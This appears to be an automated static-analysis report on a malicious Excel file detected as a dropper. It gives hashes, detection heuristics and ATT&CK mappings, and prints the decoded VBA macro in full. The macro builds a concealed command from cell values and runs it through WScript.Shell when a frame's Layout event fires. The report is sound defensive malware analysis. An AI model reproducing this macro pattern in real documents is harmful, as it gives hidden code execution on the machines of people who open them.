Xls.Dropper.Agent-8624723-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 bdbe90e3bb5c0ad2…

MALICIOUS

Office (OOXML)

80.4 KB Created: 2020-07-06 12:11:14 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: 91bec4243b82d0a240012feaf1b026ba SHA-1: 4ccb115e333c2c1026c5303a6d2f52feb8aa6578 SHA-256: bdbe90e3bb5c0ad22da8c058a652602f652bcfc87694b48d1e875b0fe0a727d5
242 Risk Score

Malware Insights

Xls.Dropper.Agent-8624723-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing VBA macros that utilize WScript.Shell to execute a command. The script concatenates numerical values into a string, which is then passed to the exec method. This string likely represents a command to download and execute a secondary payload. The ClamAV detection name 'Xls.Dropper.Agent-8624723-0' further supports its nature as a dropper.

Heuristics 5

  • ClamAV: Xls.Dropper.Agent-8624723-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-8624723-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    On Error Resume Next
Set WScript.echo = CreateObject("Wscript.shell").exec(Subtotal)
Debug.Print ""
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    On Error Resume Next
Set WScript.echo = CreateObject("Wscript.shell").exec(Subtotal)
Debug.Print ""
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1090 bytes
SHA-256: fcf4333a20f187bed0cd4795ae43607dd4d74dffd7745766e9dcadd017f69d08
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "chat, 1, 0, MSForms, Frame"
Private Sub chat_Layout()
Dim Ns(3029)
For Each View In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
fork = Split(View, "!")
If fork(0) < 1 Then R = fork(0)
Ns(fork(0)) = fork(1)
Next
For Each sp In Ns
Subtotal = Subtotal + Chr(sp)
Next
On Error Resume Next
Set WScript.echo = CreateObject("Wscript.shell").exec(Subtotal)
Debug.Print ""
End Sub
Sub ToBut()
Application.WindowState = xlMinimized
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: 8f9ded5cdb2ce63bbf83a2a9b4eaef92d9a8bd17ab6ec6aa8b424d0f96879e05
Detection
ClamAV: Xls.Dropper.Agent-8624723-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 2352 bytes
SHA-256: ee3343586ec51cc5b13cd95d3c426b1f126983d98bf86f874a75d4e360bdbd04

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